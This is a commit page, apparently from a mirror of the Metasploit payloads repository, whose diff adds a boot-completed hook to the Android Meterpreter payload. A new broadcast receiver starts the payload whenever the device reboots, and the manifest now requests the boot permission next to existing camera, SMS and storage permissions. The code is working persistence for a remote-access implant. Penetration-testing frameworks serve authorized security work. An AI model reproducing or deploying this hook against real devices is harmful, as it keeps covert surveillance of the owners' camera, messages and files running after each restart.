1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-14 17:37:27 +01:00

Land #49, add BOOT_COMPLETED android meterpreter hook

This commit is contained in:
Brent Cook 2015-11-25 21:29:43 -06:00
commit cac498be22
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 23 additions and 0 deletions

View File

@ -0,0 +1,15 @@
package com.metasploit.stage;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class MainBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
Payload.start(context);
}
}
}

View File

@ -24,6 +24,7 @@
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:label="@string/app_name" >
@ -42,6 +43,13 @@
<action android:name="android.intent.action.VIEW" />
</intent-filter>
</activity>
<receiver
android:name=".MainBroadcastReceiver"
android:label="MainBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>